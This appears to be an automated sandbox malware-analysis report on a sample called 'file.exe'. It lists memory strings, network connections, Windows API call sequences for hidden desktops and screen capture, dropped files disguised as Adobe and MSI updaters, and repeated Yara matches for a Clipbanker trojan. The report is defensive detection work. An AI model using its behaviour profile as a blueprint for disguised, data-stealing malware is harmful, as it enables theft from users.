Source: file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2105271623.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, Firefox_v6zchhhv.default-release.txt.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2104922518.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4493848204.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109005267.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2102572672.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097822313.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2105271623.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2104922518.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4493848204.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109005267.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2102572672.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097822313.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2105271623.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2104922518.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2112251123.0000000006658000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4493848204.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109005267.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2102572672.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097822313.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2105271623.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, Firefox_v6zchhhv.default-release.txt.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2104922518.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4493848204.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109005267.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2102572672.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097822313.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2105271623.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000003.2104922518.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4493848204.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109005267.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2102572672.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097822313.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2105271623.00000000062F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/n
Source: file.exe, 00000000.00000002.4493848204.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/txt-

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.220.53:443 -> 192.168.2.5:49720 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0712C230 SetThreadExecutionState,SetThreadExecutionState,CreateThread,CloseHandle,GetDesktopWindow,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,shutdown,closesocket,SetThreadDesktop,Sleep,GetCurrentThreadId,GetThreadDesktop,SetThreadDesktop,GetCurrentThreadId,GetThreadDesktop,BitBlt,DeleteObject,DeleteDC,ReleaseDC,Sleep,GetSystemMetrics,GetSystemMetrics,GetCurrentThreadId,GetThreadDesktop,SwitchDesktop,SetThreadDesktop,Sleep,Sleep,DeleteObject,DeleteDC,ReleaseDC,

0_2_0712C230

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_07109080 OpenDesktopA,CreateDesktopA,

0_2_07109080

System Summary

Malicious sample detected (through community Yara rule)

Source: 21.2.hcMSmyGUCSEFc2FAKlzc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 21.2.hcMSmyGUCSEFc2FAKlzc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 24.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 24.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 27.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 27.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 23.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 23.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 7.2.zy4GXi5yvCrsiS0ulH8Z.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 7.2.zy4GXi5yvCrsiS0ulH8Z.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 29.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001D.00000002.2664724188.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001D.00000002.2664724188.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000007.00000002.2225780219.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000007.00000002.2225780219.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001C.00000002.2581861448.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001C.00000002.2581861448.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000015.00000002.2271675447.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000015.00000002.2271675447.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000E.00000002.4491626286.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000E.00000002.4491626286.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000017.00000002.2280442151.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000017.00000002.2280442151.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000018.00000002.2338388724.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000018.00000002.2338388724.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000016.00000002.2280260250.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000016.00000002.2280260250.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000019.00000002.2418733700.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000019.00000002.2418733700.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001B.00000002.2502350940.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001B.00000002.2502350940.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000009.00000002.2237350330.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000009.00000002.2237350330.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000B.00000002.2241108576.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000B.00000002.2241108576.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0710C480 CreateProcessAsUserA,CloseHandle,CloseHandle,WaitForSingleObject,GetExitCodeProcess,

0_2_0710C480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2A790	0_2_00B2A790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2B010	0_2_00B2B010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCC0A0	0_2_00BCC0A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFA040	0_2_00AFA040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B18314	0_2_00B18314
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB842B	0_2_00DB842B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0ABFF	0_2_00B0ABFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF0DB0	0_2_00AF0DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1CEA1	0_2_00B1CEA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1F050	0_2_00B1F050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B071F0	0_2_00B071F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D83134	0_2_00D83134
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E53344	0_2_00E53344
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B23450	0_2_00B23450
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCF450	0_2_00BCF450
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B01A30	0_2_00B01A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA3BC5	0_2_00CA3BC5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0710A230	0_2_0710A230
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0712C990	0_2_0712C990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0712D540	0_2_0712D540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07113B60	0_2_07113B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07109A10	0_2_07109A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07121980	0_2_07121980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0710C760	0_2_0710C760
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0714E63B	0_2_0714E63B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_071124B0	0_2_071124B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07124370	0_2_07124370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0714E2DC	0_2_0714E2DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0715C010	0_2_0715C010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07128F60	0_2_07128F60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07110B90	0_2_07110B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07104910	0_2_07104910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0714E999	0_2_0714E999
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07152840	0_2_07152840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07161714	0_2_07161714
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0715F43E	0_2_0715F43E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_071272F0	0_2_071272F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0714DF9A	0_2_0714DF9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0710FE50	0_2_0710FE50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07125AB0	0_2_07125AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0710F9D0	0_2_0710F9D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07147880	0_2_07147880

Source: Joe Sandbox View	Dropped File: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
Source: Joe Sandbox View	Dropped File: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 07146140 appears 58 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.4494156670.0000000006694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.2207103891.0000000006E66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.2258565037.00000000070E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.2262863469.00000000070E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.2206091621.0000000006E6F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000000.2030040447.00000000011D7000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHxInstallerBackground.dll@ vs file.exe
Source: file.exe, 00000000.00000003.2259863441.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.2210534048.0000000006E6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameHxInstallerBackground.dll@ vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 21.2.hcMSmyGUCSEFc2FAKlzc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 21.2.hcMSmyGUCSEFc2FAKlzc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 24.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 24.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 27.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 27.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 23.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 23.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
